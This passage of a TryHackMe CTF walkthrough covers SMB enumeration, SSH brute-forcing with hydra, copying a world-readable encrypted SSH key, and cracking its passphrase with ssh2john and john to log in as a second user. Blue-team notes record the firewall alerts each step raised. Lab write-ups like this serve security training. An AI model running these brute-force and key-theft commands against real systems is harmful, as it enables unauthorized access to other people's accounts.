We can see that there is a share with the name "Anonymous"

Further down the output we can see some useful usernames

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''                                                                                                                             
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

Some key takeaways;

The Men in Black connection was probably indeed a rabbit hole.
The two users usernames are "kay" and "jan".
We know from the note left to "J" from "K" that jan has bad password hygiene.

Lets connect to the share to see if there are any files we could use.

smbclient //TARGET_IP/Anonymous

Password for [WORKGROUP\kali]: (NO PASSWORD JUST PRESS ENTER)
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 18:31:20 2018
  ..                                  D        0  Thu Apr 19 18:13:06 2018
  staff.txt                           N      173  Thu Apr 19 18:29:55 2018

                14318640 blocks of size 1024. 10822648 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.8 KiloBytes/sec) (average 0.8 KiloBytes/sec)
smb: \> exit

Now read the downloaded staff.txt file locally.

less staff.txt

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay
staff.txt (END)

Some takeaways;

there are names in the file (Could they be usernames?)
The share is possibly writeable (Could test file upload)

Blue Team (supplemental)

What is the username?

There are a few options to enumerate SMB, you could use nmap NSE scripts or use enum4linux as exemplified above.

Opnsense does detect some of the enumeration (only 1 alert)

enum4linux -a TARGET_IP

Detection

1.6 What is the password?

(AUTHER HUNT What about using a tool like hydra to bruteforce?)

Red Team

The definition of (in)sanity

We will now move to a more active phase in the pentest lifecycle. Based on the clues left above we will use hydra to attempt to log into the jan user account via SSH (as we know port 22 is open).

We will now attempt to log into the machine with hydra, a brute force login application.

Replace TARGET_IP with your targets IP

hydra -l jan -P /usr/share/wordlists/rockyou.txt TARGET_IP ssh

Tools and flags explanation

hydra
Hydra is used to brute force log into different services, web, ssh, smb, etc.

-l jan
Lower case L is the user field provided through the terminal in this case jan, capital L -L would be usernames from a file.

-P /usr/share/wordlists/rockyou.txt
Capital P tells hydra to pull the passwords from a file, in this case the rockyou file.

TARGET_IP
The target we are attacking.

ssh
The protocol we are attacking, in this case SSH, on the default port 22.

Meta-point

During CTFs trying hydra or brute force login in general, is in most cases a last resort, and if hinted at doesn't take more than 10-15 minutes for a successful login. If it doesn't work after some time try further user enumeration or there may be another way into the target.

Command result

Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-05 18:37:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1699282 login tries (l:1/p:1699282), ~106206 tries per task
[DATA] attacking ssh://TARGET_IP:22/
[STATUS] 166.00 tries/min, 166 tries in 00:01h, 1699117 to do in 170:36h, 15 active
[22][ssh] host: TARGET_IP   login: jan   password: (REDACTED)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-05 18:39:18

Now we have SSH access to a user on the box. Lets login and further enumerate.

Blue Team (supplemental)

What is the password?

The hydra brute force attempt is quite loud.

hydra -l jan -P /usr/share/wordlists/rockyou.txt TARGET_IP ssh

Opnsense raised 44 alerts for this attack (this will vary based on where in the rockyou.txt the password is). Most are high priority "BruteForce Attack" alerts.

1.7 What service do you use to access the server(answer in abbreviation in all caps)?

You can now log in with the jan account via SSH with ssh jan@TARGET_IP and the password brute forced with hydra in the last step.

$ ssh jan@TARGET_IP
...
jan@TARGET_IP's password:
...
jan@basic2:~$

1.8 Enumerate the machine to find any vectors for privilege escalation

(AUTHER HINT use a privilege escalation checklist or tool like LinEnum)

Linux Local Enum

Some common enumeration commands are:

whoami
prints the current user (jan is expected as that's the user you SSHed in as)
ls /home/*
lists the directories under the /home/ directory (Linux is quite strict with the drectrory layout for more info see this)
sudo -l
checks what commands the current user can run as root
cat /etc/crontab
get the contents of the crontab file
crontab
get the crontab information for the current user (can be different to what's in /etc/crontab)
cat /etc/passwd
get the users (and if you're very lucky a password hash)
env
get the current users terminal environment variables
lsb_release -a
get info on the Linux flavour
uname -a
get info on the kernel

From the results of the above commands we can confirm a few things.

The OS version guessed earlier is indeed correct it's Ubuntu 16.04 lsb_release -a and uname -a
There are two user home directories ls /home/*

Lets take a closer look at the other users home directory.

ls -al /home/kay/

Command output

drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

Here we can see some interesting things;
Keys home directory is world readable (denoted by the first line) see here for an explanation of Linux file permissions.

More importantly Kay's SSH key might be world readable. The .ssh directory (denoted by the d in the first column drwxr-xr-x).

That pass.bak file looks mighty interesting. However we can't read it. The permissions would only allow the kay user to read it (implicitly the root "user" can also read it, as file permissions don't effect root).

Side note SSH can authenticate in two modes password or key based. We've already done password authentication in this room by logging in to jan's account. We could also use a cryptographic key to log into the server.

Testing kay's keys

ls -alh /home/kay/.ssh/

Command output

total 20K
drwxr-xr-x 2 kay kay 4.0K Apr 23  2018 .
drwxr-xr-x 5 kay kay 4.0K Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3.3K Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

Bingo kay's id_rsa file is world readable. The id_rsa file is the private key SSH uses to authenticate a user when they log in. Lets loot this file.

cat /home/kay/.ssh/id_rsa

command output

----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

(REDACTED)

-----END RSA PRIVATE KEY-----

It seems the id_rsa is encrypted, after scolding Jan for bad password hygiene Kay would certainly have only the longest most complex passwords for everything, right?

Drag across the whole contents of the file in the terminal, like above (ending at the last highfin). Copy the contents of the RSA file starting and ending like the example above (to copy out of a terminal press shift+ctrl+c. Paste the contents of the id_rsa file into a file on your local Kali instance.

On your Kali box run
vi id_rsa

Once in the terminal press i to get to insert mode then shift+ctrl+v to paste into the file. Press the escape key to exit out of interactive mode and then type :x and press enter to save and quit. Congrats you've survived Vim.

Now we will transform it to something Johntheripper can understand so we can crack it's password. To get a better understanding of Johntheripper have a look at the THM room.

ssh2john id_rsa > hash.txt

Is a command that will transform a SSH key file to something johntheripper can understand. It'll take id_rsa as an input and output it to a file called hash.txt.

Now crack the hash

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

john
The password hash cracking application we will be using to crack the hash

--wordlist=/usr/share/wordlists/rockyou.txt
The same rockyou wordlist from before.

hash.txt
The input hash file to crack.

Command output

Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(REDACTED)          (id_rsa)     
1g 0:00:00:00 DONE (2022-06-05 19:21) 9.090g/s 752290p/s 752290c/s 752290C/s betzabeth..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Now we have the id_rsa password so we can login right? Not so fast, first change the user permissions of the id_rsa file.

chmod 600 id_rsa

This will change the permissions of the file so only the owner has read and write access.

Now to connect.

ssh -i id_rsa kay@TARGET_IP

Enter the password for the id_rsa file when prompted.

$ ssh -i id_rsa kay@TARGET_IP
Enter passphrase for key 'id_rsa': (RETACTED PASSWORD HERE)
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


Last login: Mon Apr 23 16:04:07 2018 from X.X.X.X
kay@basic2:~$

1.9 What is the name of the other user you found(all lower case)?

The result of ls /home/* on the target machine

1.10 If you have found another user, what can you do with this information?

(AUTHER HINT apart from a password, how else can a user access a machine?)

SSH into the machine with the SSH key method outlined above.

1.11 What is the final password you obtain?

Once logged in as kay

ls

pass.bak

less pass.bak

(REDACTED)

Remember shift+ctrl+c to copy from a terminal to paste into THM.

Final thoughts

Congratulations you have successfully completed a CTF on TryHackMe.

Some ruminations on this room, it was quite fun to create this guide. Creating the simulated box internally was a lot of ~~pain~~ fun, learning how to build all the services (Apache httpd, Tomcat, and Samba) from source as Ubuntu 16.04 is EOL was interesting. In future I would like to automate the process, something like parse packages and version numbers out of an nmap scan and have Python or Ansible provision a VM. I hope this guide can form a tiny bridge between the "Red Team" and "Blue Team" mindsets. If you have any feedback feel free to ping me on Discord or send me an email.